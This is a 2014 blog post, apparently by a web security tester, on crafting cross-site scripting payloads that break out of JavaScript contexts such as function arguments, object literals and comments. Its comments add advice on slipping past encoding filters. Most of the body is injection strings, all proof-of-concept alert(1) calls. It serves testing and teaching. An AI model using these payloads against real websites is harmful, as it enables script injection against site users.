Tuesday, 22 April 2014

Tailoring Custom Javascript Payloads for a successful XSS...


Hey Guys,

Today I would like to show you, how i was able to create custom XSS payloads based on existing javascripts in various websites.

Note that this write-up does not show you how to get XSS in various websites, but it covers various ways to create custom xss payloads.

The approach i follow to create a successful xss payload involves in 3 steps.

1. Analyse the native code
2. Construct the correct syntax
3. Execute the payload

For explanation purpose i considered GET based user input, however, this method will work on POST method also.

1. Analyse:
This stage involves the analysis of the web-page code in which we are creating a payload. It is important that the main limitation in this stage is that, the user input we entering should be returned in between script tags.
index.php?name=test  should return the payload as follows.
<script>
...........
..test..
...........
</script>

If the user input is not rendering in between <script> tags, then the following approach can not be useful.

2. Construction:
This is the main stage in successful creation of the payload. This part involves multiple cases as follows.

i. input returned as part of another function:
If the user input is returned as part of another function body or name, then we can use '+ or '- or "+ or "- combinations to break the syntax into two. remember the usage of ' or " depends on the string character implemented in the page.

sample payloads can be as follows.

*. if   index.php?name=test   returns the payload as   displayname("test");   then we can use the payload as,
name=")+alert(1)+("     ----gives--->   displayname("")+alert(1)+("");
name=")-alert(1)-("     ----gives--->   displayname("")-alert(1)-("");
name=')+alert(1)+('     ----gives--->   displayname('')+alert(1)+('');
name=')-alert(1)-('     ----gives--->   displayname('')-alert(1)-('');
or we can complete the native function and opens our own function as follows
name=");alert("1      ----gives--->   displayname("");alert("1");
name=');alert('1      ----gives--->   displayname('');alert('1');

*. if   index.php?name=test   returns the payload as   test(".......");   then we can use the payload as,
name=alert(1);blabla     ----gives--->    alert(1);blabla (".......");
name=alert(1)+blabla     ----gives--->   alert(1)+blabla(".......");
name=alert(1)-blabla     ----gives--->    alert(1)-blabla (".......");
name=alert(1)//blabla     ----gives--->   alert(1)//blabla(".......");

ii. input returned as part of javascript object:
If the user input is returned as part of javascript object, then we have to create a syntax which can properly handle the javascript object. This can involves 1. displaying javascript objects  2. ignoring objects by commenting  and by making null functions 3. breaking the syntax into multiple lines by Line Feed Characters.

lets consider following request and response.

*. if   index.php?name=test     returns as object handling function name like    test({"....":"..."})  then we can use the payload as,
name=alert(1)//     ----gives--->   alert(1)//({"....":"..."});
name=alert(1)+alert     ----gives--->   alert(1)+alert({"....":"..."});
name=alert(1);document.write ----gives--->   alert(1);document.write({"....":"..."});

However, the above payload might not execute properly due to poor handling of the javascript objects.
In such cases, we can create our own functions to handle the javascript objects. Consider the following payload.

name=alert(1);function aaa(obj){} aaa ----gives--->   alert(1);function aaa(obj){} aaa({"....":"..."});

In the above payload, we can see that the payloads returned as a complete java script.

*. if   index.php?name=test     returns as part of object body like    blabla({"test":"value"})  then we can use the payload as,
name=":""});alert(1);blabla({" ----gives---> blabla({"":""});alert(1);blabla({"":"value"})

But these methods fail when the user-input is limited in the use of single and double quotes.

iii.input returned as javascript comment:
*. if   index.php?name=test     returns as part of javascript comment like    //test  then we can use the payload as,

name=%0aalert(1)//   ----gives--->    //
alert(1)//
The following payload can also work, but with multi-line user-input only.
name=aaa ----gives--->    //aaa
          alert(1)// alert(1)//
In these payloads, javascript comment lines are very useful to ignore the remaining lines returned from the server. However, sometimes it is now possible to use comment line characters. In such cases, the remaining way to create a successful payload is by completing the proper syntax of the existing function.
This way we can construct custom javascript payloads based on how our input is implemented in the web-page.
3. Execution:
This stage involves the original exploitation of the payload. In this stage, we can try the following.
1. payload executes as part of an event.
in cases where alert, confirm, prompt are not accepted as event handling methods, we can always create dummy function with alert, confirm, prompt in the function body and call the dummy function as a event handler.
2. payload accepted as GET parameter.
this is the most easiest way to exploit this type custom payloads. Pass the payload as GET parameter value and run the URL.
3. payload accepted as POST parameter.
this case involves additional exploitation techniques like CSRF or click jacking. or we can always try changing the request method from POST to GET.
In this way, we can try to create a custom javascript payload and execute it as part of web-page. These are the cases i faced when i test my applications. Suggestions and comments are always welcome for any/all other test cases.

Suggestions and Comments/Corrections are always welcome..
THANK YOU.

4 comments:

  1. Very nice and great post sir, learnt a lot from this, Saying thank you for this great and valuable post.
    But I have question,
    I tested above steps on link, but When I put "/>Alert(1); , browser encoded it at the time of page load, to ""/><Sc RiPt>Alert(1);</Sc RiPt>

    In-short Browser Put " double-quote before Code then Encode Open and close bracket to HTML Entities.
    So what's the solution for this. I am very confuse and trying to get solution for this for last many Days and Nights. If you can help me then It will be a great help to me.

    By the way, Thank you very very much for this Nice and Great Post sir.

    ReplyDelete
    Replies
    1. That is a countermeasure implemented to restrict the possible xss payload execution. And it is not possible to assess the proper payload without analyzing the source code..

      u can try using url encoded payloads to bypass it, but i'm not 100% sure that it'll work.. try your best...

      Delete